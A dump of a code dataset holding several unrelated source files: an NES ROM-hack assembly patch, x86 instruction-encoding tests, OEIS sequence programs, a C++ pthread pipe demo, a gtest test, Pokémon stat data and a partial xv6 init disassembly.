text
stringlengths
1
1.05M
Name: zel_main1.asm Type: file Size: 45599 Last-Modified: '2016-05-13T04:36:32Z' SHA-1: 2AED73D9EC75C76F5BF7A75D9F01E045827F944A Description: null
INCLUDE "pre.asm" INCLUDE "defs.asm" ; addresses ifdef MAPPERMAGES INCLUDE "mappermages.asm" endif ; ------------------------------------------------------------------------------ BANK 0 BASE $8000 FROM $8BE5 ; calculates screen y position of object X. calc_screen_y: FROM $8B4D create_actor_at_actor: FROM $8D70 ; input: ; X is the y-position of the reference player on screen. ; $00D0 is the current camera speed adjust_camera_speed: FROM $95B5 read_joysticks: ifdef NO_AUTO_SCROLL FROM $8D81 LDA camera_speed DEY BEQ skip_camcheck CMP $8D15,Y BCC inc_auto_scroll skip_camcheck: CPX #$0F BCC rts_auto_scroll LDA camera_speed BEQ rts_auto_scroll DEC camera_speed BEQ rts_auto_scroll DEC camera_speed RTS inc_auto_scroll: INC camera_speed rts_auto_scroll: RTS if $ > $8d9D error "no-autoscroll hack space exceeded" endif endif FROM $db36: ifdef PLACE_OBJECTS colx=$30 coly=$31 place_objects_mask_coords: AND colx STA colx LDA $CE STA $B LDA coly SEC SBC $18 CMP $CD BCS + INC $B + LDA #$F8 AND coly STA coly RTS place_objects_chest: LDA #$F0 JSR place_objects_mask_coords JSR place_objects_scan ; unhacked behaviour BCC + JMP $C4A1 + LDA item_drop_counter AND #$F JMP $C49B place_objects_crate: LDA #$F8 JSR place_objects_mask_coords JSR place_objects_scan BCC + JMP $C491 ; unhacked behaviour + LDA item_drop_counter LSR JMP $C474 next8: LDA ($8),Y PHA INC $8 BNE + INC $9 + PLA RTS place_objects_failure: LDY $A CLC RTS place_objects_scan: STY $A LDY current_level LDA objects_table,Y STA $8 LDA objects_table+13,Y STA $9 BEQ place_objects_failure LDY #$0 ; table stores start-3 repeat_read_3: JSR next8 repeat_read_2: JSR next8 repeat_read_1: JSR next8 repeat_read: JSR next8 CMP #$1 ; EOS marker BEQ place_objects_failure CMP colx BNE repeat_read_3 JSR next8 CMP coly BNE repeat_read_2 JSR next8 CMP $B ; Y big digit (?) BNE repeat_read_1 JSR next8 place_objects_success: LDY $A JSR create_actor_at_actor SEC RTS endif ifdef UNITILE next0: LDY #$0 LDA ($00),Y TAY INC $0 BNE next0rts INC $1 next0rts: TYA RTS unitile_calc_prologue: ; store registers TXA PHA TYA PHA LDA $0 PHA LDA $1 PHA LDA $2 PHA LDA $3 PHA LDA $4 PHA LDA $5 PHA LDA current_level ASL TAY LDA level_table,Y STA $0 ;LDA level_table+1,Y ;STA $1 SEC LDA level_data SBC $0 LSR LSR ASL STA $0 DEC $0 DEC $0 ; now contains the current macro row idx * 0x2 ; determine med row idx LDA $5C9 LSR LSR LSR LSR AND #$1 ORA $0 STA $2 ; now contains med row idx unitile_calc: ; read data up to the current point LDA #$0 STA $3 STA $4 LDA current_level ifndef SINGLE_UNITILE_CHUNK_PER_LEVEL ; Y <- ((current_level * 4) | (med_row_idx / 16)) << 1 ; $3:4 = 16 * (med_row_idx / 16) * 16 ; if the size of a level is ever extended, this logic must be adjusted or disabled. ASL ASL STA $0 LDA $2 LSR LSR LSR LSR AND #$3 ; paranoia STA $4 ORA $0 endif ASL TAY ; get the pointer to the start of the med-tile data chunk for Y. LDA unitile_level_table,Y STA $0 LDA unitile_level_table+1,Y STA $1 ; if pointer is 0000, early-out. ORA $0 BEQ jmp_to_unitile_calc_epilogue read_bytecode: JSR next0 CMP #$FE ; FE -> we're done. BEQ unitile_calc_epilogue PHA AND #$E0 TAX ; calculate if the current patch row matches the placement row LDA $3 LSR LSR LSR LSR STA $5 LDA $4 ASL ASL ASL ASL ORA $5 CMP $2 BCC skip_one_tile_if_applicable BEQ apply_if_matches PLA jmp_to_unitile_calc_epilogue: JMP unitile_calc_epilogue ; already past us.. no need to bother continuing apply_if_matches: ; check if normal/hardmode/hellmode flag matches. TXA ; retrieves header byte BEQ apply ; 0 means all modes are okay CMP #$E0 ; no modes okay -- as an optimization, no follow-up byte :) BEQ finish_read_one_tile BIT game_state_b BVC + AND #$20 BNE skip_one_tile ; skip BEQ apply ; matches ; ----- + BPL + AND #$40 BNE skip_one_tile ; skip BEQ apply ; matches ; ----- + AND #$80 BNE skip_one_tile ; skip apply: ; stash $2 LDA $2 PHA ; $2 <- #$f0 - ($2 << 4) ASL ASL ASL ASL STA $2 SEC LDA #$F0 SBC $2 STA $2 ; get x offset, add to $2 LDA $3 AND #$f CLC ADC $2 TAX ; restore $2 PLA STA $2 JSR next0 STA $600,X JMP finish_read_one_tile skip_one_tile_if_applicable: TXA CMP #$E0 BEQ finish_read_one_tile skip_one_tile: ; ignore this one JSR next0 finish_read_one_tile: PLA bytecode_skip: AND #$1F CMP #$1D BNE + LDA #$41 + CLC ADC $3 STA $3 BCC read_bytecode INC $4 JMP read_bytecode unitile_calc_epilogue: ; restore registers PLA STA $5 PLA STA $4 PLA STA $3 PLA STA $2 PLA STA $1 PLA STA $0 PLA TAY PLA TAX ; unhacked did this. LDA $D2 AND #$03 ; return from unitile calculation RTS if $ > $DCD1 error "unitile patch space exceeded" endif FROM $DCD1 objects_table: SKIP $1A unitile_level_table: ;FROM $E6C3 ; unitile_level_table_end: endif FROM $E650 ifdef TEXT_DIACRITICS text_diacritic_table: SKIPREL 5 ; if the text character is less than 0x13, then it's a regular extended character. text_diacritic_check: CMP #$13 BCS text_diacritic ; -C ADC #$1E JMP text_diacritic_return ; write a diacritic, then do the next character. text_diacritic: ; X <- offset into text_diacritic_table ; +C SBC #$13 ; +C TAX ; reset latch for ppu addr ; (this may not be necessary) LDA PPUSTATUS ; go up one row in ppu address space (8 pixels up) LDA text_ppuAddr PHA ; push <ppu addr SBC #$20 TAY LDA text_ppuAddr+1 PHA ; push >ppu addr BCS + ADC #$FF + STA PPUADDR STY PPUADDR ; write the character (the diacritic) LDA text_diacritic_table, X STA PPUDATA ; restore preivous PPU address position LDA text_ppuAddr PLA STA PPUADDR PLA STA PPUADDR ; we're done. move on to the next character. ; AXY can all be clobbered at this point; that's fine. jmp text_print_continue text_clear_two_lines: LDY $C3 LDX #$0 JSR set_PPU_addr STX PPUDATA BIT PPUSTATUS ; experimentally, carry seems not to be set here. ; so this achieves SUB #$20 in practice. SBC #$1F BCS + DEY + JSR set_PPU_addr STX PPUDATA RTS if $ > $E6C3 error "diacritic code patch space exceeded" endif endif ; executes the next commands for track X. FROM $9762 mus_advance_track: ; executes the opcode at nibble $a6:a7 FROM $931F mus_execute_opcode: ; jumps to the music opcode Y. FROM $93AE mus_exec_opY: ; the code for the "subroutine" opcode FROM $944C mus_op_sub: ; the code for the "repeat" opcode. FROM $947F mus_op_repeat: ; sets the current song to A FROM $97AA set_music: ; resets all music variables to their default values. FROM $9713 reset_music_vars: ; ------------------------------------------------------------------------------ BANK 1 BASE $C000 ifdef NO_BOUNCY_LANDINGS FROM $D5D7 db 0 endif ifdef PLACE_OBJECTS FROM $C471 JMP place_objects_crate FROM $C497 JMP place_objects_chest NOP endif FROM $E94F: text_print_continue: ifdef TEXT_DIACRITICS FROM $A7D0 LDA $C2 AND #$20 BNE + LDA $C2 ; clear two lines at a time JSR text_clear_two_lines NOP + if $ != $A7DC error "text clear jump space inexact" endif FROM $E96B ; we've just loaded 5 bits representing the extended character ; jump to our bonus code. JMP text_diacritic_check text_diacritic_return: endif FROM $EEDE ; sets PPU addr, Y then A. set_PPU_addr: ; this subroutine mirrors a med-tile (16x16). ; most med-tiles mirror by flipping the least bit. ; med-tiles below $1E flip specially (mirror_tile_special) FROM $F63F mirror_tile: FROM $F654 mirror_tile_special: ; this possibly checks for contact with the 4 players for the current object. FROM $A28A contact_players: ; this possibly checks for terrain collision? FROM $A0BA terrain_collision: FROM $CAAD read_4_bits: FROM $CAB1 read_1_bit: FROM $CAB5 read_5_bits: FROM $CAB7 read_y_bits: FROM $DAB1 ram_object_i_gid_lookup: FROM $DAD0: level_table: ; multiplies A and Y, stores the result in $a6:a7. FROM $EA97 multiply: ; loads (into A) the nth nibble (half-byte) starting from $8000, and then increments n, ; where n is $a6:$a7. FROM $EAA3: load_nibble: ; as above, but loads two nibbles (into one byte) FROM $EAC5: load_nibble_byte: ; as above, but loads 3 consecutive nibbles ; A <- byte, Y <- nibble FROM $EAD6: read_byte_and_nibble: ; adds A to the nibble index $A6:A7 FROM $EA7C: nibble_advance: ; subtracts A from the nibble index $A6:A7 FROM $EA89: load_deadvance: FROM $F2C6 set_world: ;sets the medtile data pointers EF, etc. to values from F883 onwards. FROM $F6DE set_medtile_data_pointers: FROM $F30D start_stage: ifdef UNITILE FROM $F620 JSR unitile_calc_prologue NOP endif ifdef EXTENDED_OBJECTS ; extended objects FROM $F800 JMP ram_object_i_gid_lookup+$10 FROM ram_object_i_gid_lookup+$10 LDY #$6 JSR read_y_bits JMP $F807 if $ > ram_object_i_gid_lookup+$1f error "extended objects space incorrect" endif endif
bits 64 pinsrw mm0,eax,0 pinsrw mm1,si,0 pinsrw mm2,[rcx],0 pinsrw mm3,word [rcx],0 pinsrb xmm0,eax,0 pinsrb xmm1,sil,0 ; pinsrb xmm1,bh,0 pinsrb xmm2,[rcx],0 pinsrb xmm3,byte [rcx],0 pinsrw xmm0,eax,0 pinsrw xmm1,si,0 pinsrw xmm2,[rcx],0 pinsrw xmm3,word [rcx],0 pinsrd xmm0,eax,0 pinsrd xmm1,esi,0 pinsrd xmm2,[rcx],0 pinsrd xmm3,dword [rcx],0 pinsrq xmm0,rax,0 pinsrq xmm1,rsi,0 pinsrq xmm2,[rcx],0 pinsrq xmm3,qword [rcx],0 vpinsrb xmm0,eax,0 vpinsrb xmm1,sil,0 vpinsrb xmm2,[rcx],0 vpinsrb xmm3,byte [rcx],0 vpinsrw xmm0,eax,0 vpinsrw xmm1,si,0 vpinsrw xmm2,[rcx],0 vpinsrw xmm3,word [rcx],0 vpinsrd xmm0,eax,0 vpinsrd xmm1,esi,0 vpinsrd xmm2,[rcx],0 vpinsrd xmm3,dword [rcx],0 vpinsrq xmm0,rax,0 vpinsrq xmm1,rsi,0 vpinsrq xmm2,[rcx],0 vpinsrq xmm3,qword [rcx],0 vpinsrb xmm4,xmm0,eax,0 vpinsrb xmm5,xmm1,sil,0 vpinsrb xmm6,xmm2,[rcx],0 vpinsrb xmm7,xmm3,byte [rcx],0 vpinsrw xmm4,xmm0,eax,0 vpinsrw xmm5,xmm1,si,0 vpinsrw xmm6,xmm2,[rcx],0 vpinsrw xmm7,xmm3,word [rcx],0 vpinsrd xmm4,xmm0,eax,0 vpinsrd xmm5,xmm1,esi,0 vpinsrd xmm6,xmm2,[rcx],0 vpinsrd xmm7,xmm3,dword [rcx],0 vpinsrq xmm4,xmm0,rax,0 vpinsrq xmm5,xmm1,rsi,0 vpinsrq xmm6,xmm2,[rcx],0 vpinsrq xmm7,xmm3,qword [rdx],0
; A194516: First coordinate of (3,5)-Lagrange pair for n. ; 2,-1,1,3,0,2,-1,1,3,0,2,4,1,3,0,2,4,1,3,5,2,4,1,3,5,2,4,6,3,5,2,4,6,3,5,7,4,6,3,5,7,4,6,8,5,7,4,6,8,5,7,9,6,8,5,7,9,6,8,10,7,9,6,8,10,7,9,11,8,10,7,9,11,8,10,12,9,11,8,10,12,9,11,13,10,12,9,11,13,10,12,14,11,13,10 mul $0,2 mov $1,$0 add $1,2 mov $2,2 mov $3,$0 mov $4,-4 lpb $1,1 add $5,2 add $5,$2 sub $5,3 lpb $5,1 add $1,1 mul $1,2 add $1,5 add $2,4 sub $2,$1 add $2,5 mov $4,7 sub $5,$3 add $5,$2 lpe add $1,$4 sub $1,1 mov $2,4 lpe
#include <pthread.h> #include <unistd.h> #include <cerrno> #include <cstdio> #include <cstring> struct args_t { bool flag = false; int fd[2]; unsigned nbytes = 0; }; static void* proc1(void* arg) { printf("Thread 1 started\n"); auto* args = reinterpret_cast<args_t*>(arg); char buf[256]; while (!(args->flag)) { memset(buf, 0, 256); long size = sysconf(_SC_NGROUPS_MAX); unsigned usize = 0; if (errno == -1) { perror("Sysconf"); } else { usize = static_cast<unsigned>(size); } auto* list = new gid_t[usize]; int count = getgroups(static_cast<int>(usize), list); char idx_buf[10]; for (int idx = 0; idx < count; ++idx) { std::sprintf(idx_buf, "%i", list[idx]); strcat(buf, idx_buf); if (idx < count - 1) { strcat(buf, " "); } } args->nbytes = sizeof(buf); if (write(args->fd[1], &buf, args->nbytes) != -1) { printf("Data write\n"); } else { perror("write"); } delete[] list; sleep(1); } pthread_exit(reinterpret_cast<void*>(3)); } static void* proc2(void* arg) { printf("Thread 2 started\n"); auto* args = reinterpret_cast<args_t*>(arg); char buf[256]; while (!(args->flag)) { if (read(args->fd[0], &buf, args->nbytes) > 0) { printf("Data read: %s\n", buf); } else { perror("read"); } sleep(1); } pthread_exit(reinterpret_cast<void*>(4)); } int main() { printf("Program started\n"); pthread_t id1; pthread_t id2; void* exitcode1; void* exitcode2; args_t args; if (pipe(args.fd) == 0) { printf("Pipe created\n"); } else { perror("pipe"); printf("Program finished\n"); return 0; } pthread_create(&id1, nullptr, proc1, &args); pthread_create(&id2, nullptr, proc2, &args); printf("Program is waiting for a keystroke\n"); getchar(); printf("Key pressed\n"); args.flag = true; pthread_join(id1, &exitcode1); printf("Thread 1 finished with exit code: %p\n", exitcode1); pthread_join(id2, &exitcode2); printf("Thread 2 finished with exit code: %p\n", exitcode2); close(args.fd[0]); close(args.fd[1]); printf("Pipe closed\n"); printf("Program finished\n"); return 0; }
; A280304: a(n) = 3*n*(n^2 + 3*n + 4). ; 0,24,84,198,384,660,1044,1554,2208,3024,4020,5214,6624,8268,10164,12330,14784,17544,20628,24054,27840,32004,36564,41538,46944,52800,59124,65934,73248,81084,89460,98394,107904,118008,128724,140070,152064,164724,178068,192114,206880,222384,238644,255678,273504,292140,311604,331914,353088,375144,398100,421974,446784,472548,499284,527010,555744,585504,616308,648174,681120,715164,750324,786618,824064,862680,902484,943494,985728,1029204,1073940,1119954,1167264,1215888,1265844,1317150,1369824,1423884 mov $1,$0 add $0,1 pow $0,3 add $0,$1 div $0,2 mul $0,6
/* Hork Engine Source Code MIT License Copyright (C) 2017-2022 Alexander Samusev. This file is part of the Hork Engine Source Code. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "Character.h" HK_CLASS_META(ACharacter)
#include <iostream> #include <vector> #include <atomic> #include <gtest/gtest.h> #include "parallel.h" #include "task.h" class ConsumerProducerTest : testing::Test { }; #if 1 TEST(ConsumerProducerTest, Test1) { const size_t N = 100; std::atomic<size_t> f; f = 0; auto task = asyncply::aparallel( [&]() { for (size_t i = 0; i < (N + 1); ++i) { f += i; } }, [&]() { for (size_t i = 0; i < N; ++i) { f -= i; } }); task->get(); ASSERT_EQ(f, N); } #endif
db 0 ; species ID placeholder db 60, 79, 105, 36, 59, 85 ; hp atk def spd sat sdf db BUG, GROUND ; type db 45 ; catch rate db 148 ; base exp db NO_ITEM, SILVERPOWDER ; items db GENDER_F100 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/wormadam_s/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_BUG, EGG_BUG ; egg groups ; tm/hm learnset tmhm CURSE, TOXIC, PSYCH_UP, HIDDEN_POWER, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, EARTHQUAKE, RETURN, DIG, PSYCHIC_M, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SANDSTORM, DREAM_EATER, REST, ATTRACT, THIEF, NIGHTMARE, FLASH ; end
_init: file format elf32-i386 Disassembly of section .text: 00001000 <main>: char *argv[] = { "sh", 0 }; int main(void) { 1000: f3 0f 1e fb endbr32 1004: 8d 4c 24 04 lea 0x4(%esp),%ecx 1008: 83 e4 f0 and $0xfffffff0,%esp 100b: ff 71 fc pushl -0x4(%ecx) 100e: 55 push %ebp 100f: 89 e5 mov %esp,%ebp 1011: 53 push %ebx 1012: 51 push %ecx int pid, wpid; if(open("console", O_RDWR) < 0){ 1013: 83 ec 08 sub $0x8,%esp 1016: 6a 02 push $0x2 1018: 68 f8 18 00 00 push $0x18f8 101d: e8 bb 05 00 00 call 15dd <open> 1022: 83 c4 10 add $0x10,%esp 1025: 85 c0 test %eax,%eax 1027: 0f 88 9b 00 00 00 js 10c8 <main+0xc8> mknod("console", 1, 1); open("console", O_RDWR); } dup(0); // stdout 102d: 83 ec 0c sub $0xc,%esp 1030: 6a 00 push $0x0 1032: e8 de 05 00 00 call 1615 <dup> dup(0); // stderr 1037: c7 04 24 00 00 00 00 movl $0x0,(%esp) 103e: e8 d2 05 00 00 call 1615 <dup> 1043: 83 c4 10 add $0x10,%esp 1046: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 104d: 8d 76 00 lea 0x0(%esi),%esi for(;;){ printf(1, "init: starting sh\n"); 1050: 83 ec 08 sub $0x8,%esp 1053: 68 00 19 00 00 push $0x1900 1058: 6a 01 push $0x1 105a: e8 d1 06 00 00 call 1730 <printf> pid = fork(); 105f: e8 31 05 00 00 call 1595 <fork> if(pid < 0){ 1064: 83 c4 10 add $0x10,%esp pid = fork(); 1067: 89 c3 mov %eax,%ebx if(pid < 0){ 1069: 85 c0 test %eax,%eax 106b: 78 24 js 1091 <main+0x91> printf(1, "init: fork failed\n"); exit(); } if(pid == 0){ 106d: 74 35 je 10a4 <main+0xa4> 106f: 90 nop exec("sh", argv); printf(1, "init: exec sh failed\n"); exit(); } while((wpid=wait()) >= 0 && wpid != pid) 1070: e8 30 05 00 00 call 15a5 <wait> 1075: 85 c0 test %eax,%eax 1077: 78 d7 js 1050 <main+0x50> 1079: 39 c3 cmp %eax,%ebx 107b: 74 d3 je 1050 <main+0x50> printf(1, "zombie!\n"); 107d: 83 ec 08 sub $0x8,%esp 1080: 68 3f 19 00 00 push $0x193f 1085: 6a 01 push $0x1 1087: e8 a4 06 00 00 call 1730 <printf> 108c: 83 c4 10 add $0x10,%esp 108f: eb df jmp 1070 <main+0x70> printf(1, "init: fork failed\n"); 1091: 53 push %ebx 1092: 53 push %ebx 1093: 68 13 19 00 00 push $0x1913 1098: 6a 01 push $0x1 109a: e8 91 06 00 00 call 1730 <printf> exit(); 109f: e8 f9 04 00 00 call 159d <exit> exec("sh", argv); 10a4: 50 push %eax 10a5: 50 push %eax 10a6: 68 9c 1c 00 00 push $0x1c9c 10ab: 68 26 19 00 00 push $0x1926 10b0: e8 20 05 00 00 call 15d5 <exec> printf(1, "init: exec sh failed\n"); 10b5: 5a pop %edx 10b6: 59 pop %ecx 10b7: 68 29 19 00 00 push $0x1929 10bc: 6a 01 push $0x1 10be: e8 6d 06 00 00 call 1730 <printf> exit(); 10c3: e8 d5 04 00 00 call 159d <exit> mknod("console", 1, 1); 10c8: 50 push %eax 10c9: 6a 01 push $0x1 10cb: 6a 01 push $0x1 10cd: 68 f8 18 00 00 push $0x18f8 10d2: e8 0e 05 00 00 call 15e5 <mknod> open("console", O_RDWR); 10d7: 58 pop %eax 10d8: 5a pop %edx 10d9: 6a 02 push $0x2 10db: 68 f8 18 00 00 push $0x18f8 10e0: e8 f8 04 00 00 call 15dd <open> 10e5: 83 c4 10 add $0x10,%esp 10e8: e9 40 ff ff ff jmp 102d <main+0x2d> 10ed: 66 90 xchg %ax,%ax 10ef: 90 nop 000010f0 <strcpy>: }; char* strcpy(char *s, const char *t) { 10f0: f3 0f 1e fb endbr32 10f4: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 10f5: 31 c0 xor %eax,%eax { 10f7: 89 e5 mov %esp,%ebp 10f9: 53 push %ebx 10fa: 8b 4d 08 mov 0x8(%ebp),%ecx 10fd: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 1100: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 1104: 88 14 01 mov %dl,(%ecx,%eax,1) 1107: 83 c0 01 add $0x1,%eax 110a: 84 d2 test %dl,%dl 110c: 75 f2 jne 1100 <strcpy+0x10> ; return os; } 110e: 89 c8 mov %ecx,%eax 1110: 5b pop %ebx 1111: 5d pop %ebp 1112: c3 ret 1113: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 111a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001120 <strcmp>: int strcmp(const char *p, const char *q) { 1120: f3 0f 1e fb endbr32 1124: 55 push %ebp 1125: 89 e5 mov %esp,%ebp 1127: 53 push %ebx 1128: 8b 4d 08 mov 0x8(%ebp),%ecx 112b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 112e: 0f b6 01 movzbl (%ecx),%eax 1131: 0f b6 1a movzbl (%edx),%ebx 1134: 84 c0 test %al,%al 1136: 75 19 jne 1151 <strcmp+0x31> 1138: eb 26 jmp 1160 <strcmp+0x40> 113a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1140: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 1144: 83 c1 01 add $0x1,%ecx 1147: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 114a: 0f b6 1a movzbl (%edx),%ebx 114d: 84 c0 test %al,%al 114f: 74 0f je 1160 <strcmp+0x40> 1151: 38 d8 cmp %bl,%al 1153: 74 eb je 1140 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1155: 29 d8 sub %ebx,%eax } 1157: 5b pop %ebx 1158: 5d pop %ebp 1159: c3 ret 115a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1160: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1162: 29 d8 sub %ebx,%eax } 1164: 5b pop %ebx 1165: 5d pop %ebp 1166: c3 ret 1167: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 116e: 66 90 xchg %ax,%ax 00001170 <strlen>: uint strlen(const char *s) { 1170: f3 0f 1e fb endbr32 1174: 55 push %ebp 1175: 89 e5 mov %esp,%ebp 1177: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 117a: 80 3a 00 cmpb $0x0,(%edx) 117d: 74 21 je 11a0 <strlen+0x30> 117f: 31 c0 xor %eax,%eax 1181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1188: 83 c0 01 add $0x1,%eax 118b: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 118f: 89 c1 mov %eax,%ecx 1191: 75 f5 jne 1188 <strlen+0x18> ; return n; } 1193: 89 c8 mov %ecx,%eax 1195: 5d pop %ebp 1196: c3 ret 1197: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 119e: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 11a0: 31 c9 xor %ecx,%ecx } 11a2: 5d pop %ebp 11a3: 89 c8 mov %ecx,%eax 11a5: c3 ret 11a6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 11ad: 8d 76 00 lea 0x0(%esi),%esi 000011b0 <memset>: void* memset(void *dst, int c, uint n) { 11b0: f3 0f 1e fb endbr32 11b4: 55 push %ebp 11b5: 89 e5 mov %esp,%ebp 11b7: 57 push %edi 11b8: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 11bb: 8b 4d 10 mov 0x10(%ebp),%ecx 11be: 8b 45 0c mov 0xc(%ebp),%eax 11c1: 89 d7 mov %edx,%edi 11c3: fc cld 11c4: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 11c6: 89 d0 mov %edx,%eax 11c8: 5f pop %edi 11c9: 5d pop %ebp 11ca: c3 ret 11cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 11cf: 90 nop 000011d0 <strchr>: char* strchr(const char *s, char c) { 11d0: f3 0f 1e fb endbr32 11d4: 55 push %ebp 11d5: 89 e5 mov %esp,%ebp 11d7: 8b 45 08 mov 0x8(%ebp),%eax 11da: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 11de: 0f b6 10 movzbl (%eax),%edx 11e1: 84 d2 test %dl,%dl 11e3: 75 16 jne 11fb <strchr+0x2b> 11e5: eb 21 jmp 1208 <strchr+0x38> 11e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 11ee: 66 90 xchg %ax,%ax 11f0: 0f b6 50 01 movzbl 0x1(%eax),%edx 11f4: 83 c0 01 add $0x1,%eax 11f7: 84 d2 test %dl,%dl 11f9: 74 0d je 1208 <strchr+0x38> if(*s == c) 11fb: 38 d1 cmp %dl,%cl 11fd: 75 f1 jne 11f0 <strchr+0x20> return (char*)s; return 0; } 11ff: 5d pop %ebp 1200: c3 ret 1201: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 1208: 31 c0 xor %eax,%eax } 120a: 5d pop %ebp 120b: c3 ret 120c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001210 <gets>: char* gets(char *buf, int max) { 1210: f3 0f 1e fb endbr32 1214: 55 push %ebp 1215: 89 e5 mov %esp,%ebp 1217: 57 push %edi 1218: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1219: 31 f6 xor %esi,%esi { 121b: 53 push %ebx 121c: 89 f3 mov %esi,%ebx 121e: 83 ec 1c sub $0x1c,%esp 1221: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1224: eb 33 jmp 1259 <gets+0x49> 1226: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 122d: 8d 76 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1230: 83 ec 04 sub $0x4,%esp 1233: 8d 45 e7 lea -0x19(%ebp),%eax 1236: 6a 01 push $0x1 1238: 50 push %eax 1239: 6a 00 push $0x0 123b: e8 75 03 00 00 call 15b5 <read> if(cc < 1) 1240: 83 c4 10 add $0x10,%esp 1243: 85 c0 test %eax,%eax 1245: 7e 1c jle 1263 <gets+0x53> break; buf[i++] = c; 1247: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 124b: 83 c7 01 add $0x1,%edi 124e: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 1251: 3c 0a cmp $0xa,%al 1253: 74 23 je 1278 <gets+0x68> 1255: 3c 0d cmp $0xd,%al 1257: 74 1f je 1278 <gets+0x68> for(i=0; i+1 < max; ){ 1259: 83 c3 01 add $0x1,%ebx 125c: 89 fe mov %edi,%esi 125e: 3b 5d 0c cmp 0xc(%ebp),%ebx 1261: 7c cd jl 1230 <gets+0x20> 1263: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 1265: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 1268: c6 03 00 movb $0x0,(%ebx) } 126b: 8d 65 f4 lea -0xc(%ebp),%esp 126e: 5b pop %ebx 126f: 5e pop %esi 1270: 5f pop %edi 1271: 5d pop %ebp 1272: c3 ret 1273: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1277: 90 nop 1278: 8b 75 08 mov 0x8(%ebp),%esi 127b: 8b 45 08 mov 0x8(%ebp),%eax 127e: 01 de add %ebx,%esi 1280: 89 f3 mov %esi,%ebx buf[i] = '\0'; 1282: c6 03 00 movb $0x0,(%ebx) } 1285: 8d 65 f4 lea -0xc(%ebp),%esp 1288: 5b pop %ebx 1289: 5e pop %esi 128a: 5f pop %edi 128b: 5d pop %ebp 128c: c3 ret 128d: 8d 76 00 lea 0x0(%esi),%esi 00001290 <stat>: int stat(const char *n, struct stat *st) { 1290: f3 0f 1e fb endbr32 1294: 55 push %ebp 1295: 89 e5 mov %esp,%ebp 1297: 56 push %esi 1298: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1299: 83 ec 08 sub $0x8,%esp 129c: 6a 00 push $0x0 129e: ff 75 08 pushl 0x8(%ebp) 12a1: e8 37 03 00 00 call 15dd <open> if(fd < 0) 12a6: 83 c4 10 add $0x10,%esp 12a9: 85 c0 test %eax,%eax 12ab: 78 2b js 12d8 <stat+0x48> return -1; r = fstat(fd, st); 12ad: 83 ec 08 sub $0x8,%esp 12b0: ff 75 0c pushl 0xc(%ebp) 12b3: 89 c3 mov %eax,%ebx 12b5: 50 push %eax 12b6: e8 3a 03 00 00 call 15f5 <fstat> close(fd); 12bb: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 12be: 89 c6 mov %eax,%esi close(fd); 12c0: e8 00 03 00 00 call 15c5 <close> return r; 12c5: 83 c4 10 add $0x10,%esp } 12c8: 8d 65 f8 lea -0x8(%ebp),%esp 12cb: 89 f0 mov %esi,%eax 12cd: 5b pop %ebx 12ce: 5e pop %esi 